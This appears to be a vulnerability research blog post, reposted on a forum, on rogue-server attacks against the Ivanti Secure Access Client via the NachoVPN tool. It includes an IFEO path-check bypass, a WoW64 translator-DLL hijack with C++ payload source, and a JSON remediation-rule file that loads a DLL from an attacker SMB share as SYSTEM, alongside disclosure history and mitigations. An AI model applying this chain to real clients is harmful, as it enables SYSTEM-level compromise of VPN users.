Статья NachoVPN: Now With More VPN (And SYSTEM Shells)

[stihl]

Introduction​

When we first released Для просмотра ссылки Войди или Зарегистрируйся, our focus was on proving how easily VPN clients can be abused through malicious server interaction. We hoped that by presenting our research and publishing our Proof of Concept tooling, we’d encourage vendors to improve their products to provide secure defaults and highlight to organisations the importance of implementing mitigations to address the largely-unexplored attack surface of VPN clients.

This year, at DEF CON 33 - we’ll be expanding on our initial research into SSL-VPN clients to also include attacks on both ZTNA clients and servers! So remember to keep an eye on our blog, where we’ll be releasing our full write-ups following the talk. You can check out the outline for ‘Zero Trust, Total Bust - Breaking into thousands of cloud-based VPNs with one bug’ on the Для просмотра ссылки Войди или Зарегистрируйся.

But before then, we thought we’d drop some of our unpublished NachoVPN research (and a nice update to the NachoVPN tool too!). In this blog post we’ll be taking a look at the Ivanti Secure Access Client (previously Pulse Secure). We’ll demonstrate how we were able to develop a new code execution technique for NachoVPN - which allows us execute code as SYSTEM against the latest version of the ISAC client on Windows.

Background​

If you’ve been following our NachoVPN research, you may well be familiar with the common abuse case for VPN clients - executing an attacker supplied logon script when a user connects to an attacker’s rogue VPN server. This is the same technique we used against many of the VPN clients which NachoVPN supports, including for Ivanti Connect Secure. However, we wanted to see if we could push this further. Some of the clients we looked at allowed us to execute code with elevated privileges (typically root or SYSTEM). Could we do the same with the Ivanti Secure Access Client?

In 2020, Для просмотра ссылки Войди или Зарегистрируйся disclosed Для просмотра ссылки Войди или Зарегистрируйся, which allowed attackers to write arbitrary registry keys as SYSTEM via malicious remediation policies. We thought this sounded like an interesting attack surface, and decided to take a look at the patch.

The Patch​

The original CVE-2020-8241 patch was designed to prevent malicious servers or local users from exploiting the Pulse Secure Service by supplying remediation policies that set dangerous registry keys. The patch specifically blocked the Для просмотра ссылки Войди или Зарегистрируйся registry path by hardcoding a check in the DSRegRemedAction:erformRemediation() function within the EPCheck.dll library.

PerformRemediation

If the remediation policy was found to contain the IFEO registry key, then remediation was aborted.

IFEO Check

However, it only checked for the IFEO key and did not account for the possibility of an attacker exploiting any of the other numerous registry key-based vectors to achieve persistence or execute arbitrary code.

For years, attackers have abused a multitude of other registry-based code execution vectors. You can find a list of keys inspected by Microsoft’s Autoruns tool Для просмотра ссылки Войди или Зарегистрируйся, or check out Для просмотра ссылки Войди или Зарегистрируйся’s epic blog series - Для просмотра ссылки Войди или Зарегистрируйся.

Ignoring the fact that only one specific key is checked here, we decided to dig further into how this check is performed.

We know that the check looks specifically for the IFEO key, and it checks this against a static path, hardcoded within the DLL - but doesn’t account for the fact that registry APIs will happily accept additional backslash characters within registry paths. Therefore, an attacker can include extra \ characters within the path to bypass validation. For example, using the registry path:

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\\ipconfig.exe

This bypasses the hardcoded check, allowing an attacker to set the IFEO key via a malicious remediation policy, whenever a user connects to their malicious VPN server.

Additionally, a malicious low-privileged local user could exploit the issue to achieve privilege escalation - simply by pointing their ISAC client at the same rogue server.

We implemented this in our NachoVPN plugin, a screenshot of which can be found below. The screenshot shows how we were able to bypass the IFEO restriction to execute the net user command whenever the ipconfig.exe executable was run, which gets executed by the Pulse Secure service as SYSTEM shortly after connection to the VPN.

Bypassing IFEO Restrictions

We reported this bypass to Ivanti on 13th December 2024 - who responded by patching this specific IFEO restriction bypass, and provided further mitigation advice - which we detail at the end of this article.

However, before we get onto that - you’re probably thinking the same thing we did - “what about the million other keys that could be abused?”

Beyond IFEO - RCE via Other Registry Keys​

As we mentioned above, Ivanti’s patch for this issue was narrowly scoped - it only blocked IFEO, but ignored the many other registry keys can be abused for persistence or code execution.

To demonstrate this, we made some further tweaks to the PulseSecure NachoVPN plugin. Instead of hardcoding this IFEO registry-based execution vector in the plugin, we made it possible to specify arbitrary key/values in the form of a JSON file that you can supply to NachoVPN via the PULSE_HOST_CHECKER_RULES_FILE environment variable.

For our Proof of Concept, we chose to abuse a lesser-known technique which we’re calling ArchonsGate - a form of pre-execution hijacking that occurs at the boundary between native 64-bit and WoW64 subsystems. By populating the undocumented registry key HKLM\SOFTWARE\Microsoft\Wow64\x86\{process}.exe, attackers can substitute the 32-bit CPU emulator used by the Wow64 layer. This allows arbitrary code execution before the process begins 32-bit life.

As far as we’re aware this technique was first documented by Для просмотра ссылки Войди или Зарегистрируйся, in Для просмотра ссылки Войди или Зарегистрируйся. The Для просмотра ссылки Войди или Зарегистрируйся by Для просмотра ссылки Войди или Зарегистрируйся also provides a great in-depth write-up of wow64 loading, which is definitely worth reading for a primer. However, to (fairly) briefly summarise the relevant parts - when an x86 process is run on an 64-bit Windows 10+ host, it attempts to load the Wow64 binary translator DLL (the DLL responsible for providing 32-bit CPU emulation on an x64 host), from the following registry key, by default.

HKEY_LOCAL_MACHINE\Software\Microsoft\Wow64\x86\wow64cpu.dll

This path is constructed by the wow64cpu!CpuGetBinaryTranslatorPath function, whose call-tree looks like:

Wow64LdrpInitialize
-> ProcessInit
-> CpuLoadBinaryTranslator
-> CpuGetBinaryTranslatorPath

Wow64LdrpInitialize itself being the first function called by ntdll!LdrpLoadWow64.

Without diving too deep into the code - briefly, ProcessInit calls GetImageName which retrieves the image name from the PEB (e.g. ipconfig.exe). This image name is then passed to CpuLoadBinaryTranslator, which calls CpuGetBinaryTranslatorPath. In the CpuGetBinaryTranslatorPath function, the image name is concatenated with the registry path \\Registry\\Machine\\Software\\Microsoft\\Wow64\\x86.

It then tries to find the binary translator DLL in the following order:

• It first attempts to open the image-specific key at \\Registry\\Machine\\Software\\Microsoft\\Wow64\\x86\\<exe>. If found, it uses the specified value as the path to the translator DLL. Otherwise, it defaults to the system path C:\Windows\System32\wow64cpu.dll.
• Next, try to load from the application specific key, e.g. \\Registry\\Machine\\Software\\Microsoft\\Wow64\\x86\\example.exe. If this value exists, then the path specified in the value is returned.
• If all else fails, fallback to C:\Windows\System32\wow64cpu.dll.

So, if an attacker can create the registry key \\Registry\\Machine\\Software\\Microsoft\\Wow64\\x86\\example.exe and point to a DLL of their choice, it would allow them to load their own DLL instead of wow64cpu.dll. But what should a binary translator DLL look like?

Well, if we try to place a standard DLL payload there (with no exports), then it will fail to load. If we look at CpuLoadBinaryTranslator, we can understand why.

After retrieving the binary translator DLL path, the function attempts to load the DLL with LdrLoadDll, and resolve a list of 34 exports, using LdrGetProcedureAddress.

BTCpuProcessInit
BTCpuProcessTerm
BTCpuThreadInit
BTCpuThreadTerm
BTCpuSimulate
BTCpuResetFloatingPoint
BTCpuResetToConsistentState
BTCpuNotifyDllLoad
BTCpuNotifyDllUnload
BTCpuPrepareForDebuggerAttach
BTCpuNotifyBeforeFork
BTCpuNotifyAfterFork
BTCpuNotifyAffinityChange
BTCpuSuspendLocalThread
BTCpuIsProcessorFeaturePresent
BTCpuGetBopCode
BTCpuGetContext
BTCpuSetContext
BTCpuTurboThunkControl
BTCpuNotifyMemoryAlloc
BTCpuNotifyMemoryFree
BTCpuNotifyMemoryProtect
BTCpuFlushInstructionCache2
BTCpuNotifyMapViewOfSection
BTCpuNotifyUnmapViewOfSection
BTCpuUpdateProcessorInformation
BTCpuNotifyReadFile
BTCpuCfgDispatchControl
BTCpuUseChpeFile
BTCpuOptimizeChpeImportThunks
BTCpuNotifyProcessExecuteFlagsChange
BTCpuProcessDebugEvent
BTCpuFlushInstructionCacheHeavy
BTCpuNotifyMemoryDirty

Of these 34 functions, only some are actually required, and many are optional. Petr’s article lists the following functions as required:

BTCpuProcessInit
BTCpuSimulate
BTCpuGetBopCode

As we mentioned earlier, the Pulse Secure service (which runs as SYSTEM), executes the ipconfig.exe /flushdns command shortly after connecting to the VPN. The Pulse Secure service also runs as an x86-based process, even on an x64 Windows host - meaning it runs under Wow64 emulation. Therefore, we can attempt to use the ArchonsGate technique to hijack execution of the 64-bit process before it enters 32-bit mode, by setting the following registry key:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wow64\x86]
"ipconfig.exe"="C:\\temp\\payload.dll"

It’s worth noting that because the binary translator DLL is intended to be loaded in 64-bit mode, our payload must be compiled for x64 - even though it’s being invoked by a 32-bit process. Additionally, the DLL is loaded very early in the process initialization routine, and only the x64 ntdll.dll is present at that point, meaning standard Win32 APIs like LoadLibrary, CreateProcess, or MessageBox are unavailable. On the flip side, this early loading may help bypass EDRs that hook into processes later in execution.

A very simple example might look like:

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>

extern "C" __declspec(dllexport) void* WINAPI BTCpuGetBopCode()
{
return nullptr;
}

extern "C" __declspec(dllexport) NTSTATUS WINAPI BTCpuProcessInit()
{
return STATUS_SUCCESS;
}

extern "C" __declspec(dllexport) void WINAPI BTCpuSimulate()
{
WinExec("C:\\Windows\\System32\\calc.exe", 1);
TerminateProcess((HANDLE)-1, 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

However, there’s one other problem still to overcome - if we set the registry key to point to a local file-path, then how will we get the DLL onto the machine in the first place? To address this issue, we’ve added two new features to NachoVPN:

1. The first feature that we’ve added is support for full VPN tunnelling and packet-forwarding. This allows NachoVPN not just to act like a VPN only up to the point of connection, but to actually implement a full working VPN tunnel, meaning that the VPN client can route traffic to/from the server, or even to the internet if desired.
2. The second feature we added, was a built-in SMB server, using Для просмотра ссылки Войди или Зарегистрируйся’s smbserver module. This allows us to serve payloads over the newly established VPN tunnel via SMB.

By combining the use of VPN tunnelling and serving the payload via our embedded SMB server, this avoids serving the payload directly over the internet, where port 445 is often restricted by corporate firewalls or ISPs.

Using these new features, we can now simply set the following registry key via our malicious remediation policy:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wow64\x86]
"ipconfig.exe"="\\10.10.0.1\share\payload.dll"

But when we try to access our SMB share via the tunnel, we’re greeted with this message:

You can't access this shared folder because your organization's security policies block unauthenticated guest access.

This is due to a security policy, which prevents unauthenticated guest access to shares by default on Windows 11, and is common in corporate environments. It is configured via the following registry key:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:00000001

(you’ve probably guessed the next bit)

.. that’s right, because this is configurable via the registry, we can simply set it in our malicious remediation policy - sending multiple rules, with the AllowInsecureGuestAuth rule as the first entry. Here’s our example PULSE_HOST_CHECKER_RULES_FILE:

[
{
"rulename": "AllowInsecureGuestAuth",
"subkey": "SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters",
"regname": "AllowInsecureGuestAuth",
"hive": "HKEY_LOCAL_MACHINE",
"value": 1,
"type": "DWORD"
},
{
"rulename": "Payload",
"subkey": "SOFTWARE\\Microsoft\\Wow64\\x86",
"regname": "ipconfig.exe",
"hive": "HKEY_LOCAL_MACHINE",
"value": "\\\\10.10.0.1\\share\\payload.dll",
"type": "String"
}
]

Putting it all together, when the client connects to our malicious server, the host-checker policies are fetched from the server and evaluated by the client, which will fail causing the above registry keys to be set by the remediation policy. The client will then successfully connect to the rogue VPN, and ipconfig.exe /flushdns will be run by the Pulse Secure service, causing our payload DLL to be loaded from the server’s SMB share, via the tunnel.

You can check out a demo video of the attack below:

Ivanti’s Response​

After reporting the IFEO bypass, Ivanti responded by stripping double backslashes (a minor improvement), but declined to fully address the root cause - which to be fair would effectively result in a whack-a-mole approach of blocking individual, abusable keys, or disabling the ability to set registry keys via remediation policies entirely.

Ivanti provided us with the following statement:



Ivanti also provided us with a link to the configuration guidance, which specifically details how to protect against rogue-server style attacks, which can be found below:

• Для просмотра ссылки Войди или Зарегистрируйся

Unfortunately the linked article is behind a login-wall, so for those readers that do not have an Ivanti login, we’ve summarised the mitigation below.

Configuring Ivanti Connect Secure

The following settings should be disabled, under Users > Ivanti Secure Access Client > Connections:

• Dynamic Certificate Trust (disabled by default from 22.8R1)
• Dynamic Connection
• Allow User Configuration

This will cause the client to pick up these settings when they connect to the gateway.

To confirm that the configuration has been pulled down by the client correctly, you can check the file at: C:\ProgramData\Pulse Secure\ConnectionStore\connstore.dat, which should contain the settings outlined above, with their values set to false.

Alternatively, a pre-configuration file can be deployed during installation, which you can find the details of in the following articles:

• Для просмотра ссылки Войди или Зарегистрируйся
• Для просмотра ссылки Войди или Зарегистрируйся
• Для просмотра ссылки Войди или Зарегистрируйся

Removal of URI Handler by default

The following can also be found in the Для просмотра ссылки Войди или Зарегистрируйся:



This mitigation effectively removes the URI handler that attackers could abuse to trigger the Ivanti Connect Secure into connecting to their rogue endpoint, via their web-browser. Therefore, by default, users with the latest version of the client will be less vulnerable to the attack, as they would need to manually enter the rogue server details into their client.

Conclusion​

We’ve updated NachoVPN to include this new bypass technique, along with new tunnelling and SMB server features allowing you to demonstrate SYSTEM-level RCE on Ivanti clients via a malicious remediation policy. This strengthens the case for preventing connections to unknown VPN endpoints at the network or configuration level. Ivanti’s response, whilst falling short of a complete patch, provides mitigation steps to prevent abuse of this (and other) rogue-server-based attacks. We encourage organisations to follow Ivanti’s guidelines, in addition to the advice given in our GitHub repo and original NachoVPN presentation, with regards to host lockdown and firewalling.


Для просмотра ссылки Войди или Зарегистрируйся